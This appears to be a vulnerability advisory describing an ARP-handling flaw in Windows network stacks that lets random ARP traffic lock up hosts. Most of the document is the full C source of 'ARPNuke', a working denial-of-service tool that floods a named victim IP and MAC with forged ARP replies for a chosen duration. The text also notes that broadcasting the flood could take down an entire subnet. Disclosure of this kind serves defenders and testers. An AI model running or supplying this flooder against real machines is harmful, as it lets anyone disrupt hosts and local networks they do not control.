|
|
|
|
| |
There is an ARP table-handling bug in Microsoft Windows protocol stacks. It seems that the ARP handling code uses some inefficient data structure to manage the ARP entries.
This inefficient handling causes hosts that encounter a large amount of ARP requests (valid and invalid) to lockup. The following is an exploit code that can be used to test for this vulnerability. |
| |
Credit:
The information has been provided by Paul Starzetz.
|
| |
Sending Windows machines a huge amount of ARP packets with a random source IP and arbitrary MAC address, results in 100% CPU utilization and a machine lock up. The machine wakes up after the packets stream has been stopped.
The needed traffic to cause this vulnerability is not high. The ARPNuke code below will send an initial sequence of about 10000 ARP packets, and then go to ?burst mode? sending definable short burst of random ARP packets every 10 millisecond. The lockup occurred at about 80kb/sec (seq about 45) on a PII/350.
Even worse: it seems that is possible to kill a whole subnet using broadcast destination MAC (that is ff:ff:ff:ff:ff:ff) and arbitrary source IP.
Exploit:
/****************************************************
* *
* ARPNuke *
* nuke local hosts by random ARP traffic *
* by IhaQueR *
* *
****************************************************/
extern "C" {
#include <time.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pcap.h>
#include <libnet.h>
#include <sys/times.h>
}
#define TMPBUFLEN 256
#define IP_LEN 4
#define MAC_LEN 6
// packet burst
#define PSEQ 50
// packet preload
#define STARTSEQ 15000
const unsigned char ethernull[6] = {0,0,0,0,0,0};
const unsigned char etherbcast[6] = {255,255,255,255,255,255};
u_char* sniffdevice;
// prints MAC
void print_mac(unsigned char* mac)
{
printf("\nMAC: %x:%x:%x:%x:%x:%x ", (unsigned)mac[0], (unsigned)mac[1], (unsigned)mac[2], (unsigned)mac[3], (unsigned)mac[4], (unsigned)mac[5]);
}
// sprints MAC
char* sprint_mac(unsigned char* mac)
{
static char tmpbuf[TMPBUFLEN];
sprintf(tmpbuf, "%x:%x:%x:%x:%x:%x", (unsigned)mac[0], (unsigned)mac[1], (unsigned)mac[2], (unsigned)mac[3], (unsigned)mac[4], (unsigned)mac[5]);
return tmpbuf;
}
// prints IP
void print_ip(unsigned char* ip)
{
printf("\nIP: %u.%u.%u.%u ", (unsigned)ip[0], (unsigned)ip[1], (unsigned)ip[2], (unsigned)ip[3]);
}
// sprints IP
char* sprint_ip(unsigned char* ip)
{
static char tmpbuf[TMPBUFLEN];
sprintf(tmpbuf, "%u.%u.%u.%u", (unsigned)ip[0], (unsigned)ip[1], (unsigned)ip[2], (unsigned)ip[3]);
return tmpbuf;
}
// reads MAC
void get_mac(u_char* mac, char* optarg)
{
int i=0;
char* ptr = strtok(optarg, ":-");
while(ptr) {
unsigned nmb;
sscanf(ptr, "%x", &nmb);
mac[i] = (u_char)nmb;
ptr = strtok(NULL, ":-");
i++;
}
}
// reads IP
void get_ip(u_char* ip, char* ipstr)
{
int i=0;
char* ptr = strtok(ipstr, ".");
while(ptr && i<4) {
ip[i] = (unsigned char)atoi(ptr);
ptr = strtok(NULL, ".");
i++;
}
}
main(int ac, char** av)
{
// usage
if(ac<4)
printf("\nusage: %s <victim ip> <victim mac> <duration> [seq len]\n\n", av[0]), exit(1);
srand(time(NULL));
long long duration = atoi(av[3]);
unsigned pseq = PSEQ;
if(ac>4)
pseq = atoi(av[4]);
u_char victim_mac[MAC_LEN];
get_mac(victim_mac, av[2]);
u_char victim_ip[IP_LEN];
get_ip(victim_ip, av[1]);
u_char randmac[MAC_LEN];
u_char randip[IP_LEN];
bzero(randmac, sizeof(randmac));
print_mac(victim_mac);
print_ip(victim_ip);
printf("\npacket burst: %d", pseq);
printf("\nfreezing host for %d seconds\n", (int)duration);
struct timeval tv;
gettimeofday(&tv, NULL);
long long ts1 = tv.tv_sec;
ts1 *= 1000000;
ts1 += tv.tv_usec;
// init libnet
struct sockaddr_in sin;
u_char errbuf[TMPBUFLEN];
if(libnet_select_device(&sin, (unsigned char **)&sniffdevice, (u_char*)errbuf) != 1) {
printf("\nERROR selecting device");
}
else {
libnet_link_int* mylink;
mylink = libnet_open_link_interface((char*)sniffdevice, (char*)errbuf);
if(mylink == NULL) {
printf("\nERROR opening link interface: %s", errbuf);
}
else {
long long ts2 = ts1;
int i=0, j=0;
// send random arp packets
for(i=0; i<sizeof(randmac); i++)
randmac[i] = rand() % 256;
u_char buf[64];
bzero(buf, sizeof(buf));
while((ts2-ts1) < duration*1000000) {
gettimeofday(&tv, NULL);
ts2 = tv.tv_sec;
ts2 *= 1000000;
ts2 += tv.tv_usec;
if(j > STARTSEQ && (j % pseq) == (pseq-1)) {
usleep(1);
}
j++;
for(i=0; i<sizeof(randip); i++)
randip[i] = rand() % 256;
libnet_build_ethernet((u_char *)victim_mac, randmac, ETHERTYPE_ARP, NULL, 0, buf);
libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4, ARPOP_REPLY,
randmac, randip, victim_mac, victim_ip, NULL, 0, buf+LIBNET_ETH_H);
libnet_write_link_layer(mylink, sniffdevice, buf, LIBNET_ARP_H + LIBNET_ETH_H);
}
long long mbytes = ((long long)j)*(LIBNET_ARP_H + LIBNET_ETH_H);
double mb = mbytes;
mb /= 1024.0;
mb /= 1024.0;
mbytes = ((long long)j-STARTSEQ)*(LIBNET_ARP_H + LIBNET_ETH_H);
double mbr = mbytes;
mbr /= 1024.0;
mbr /= 1024.0;
mbr /= duration;
printf("\npackets sent\t%d [pkt]\tsustained rate: %d [pkt/s]", j, (j-STARTSEQ)/duration);
printf("\nmbytes sent\t%6.2lf [mb]\tsustained rate: %4.2lf [mb/s]", mb, mbr);
}
}
printf("\n\n");
return 0;
}
|
|
|
|
|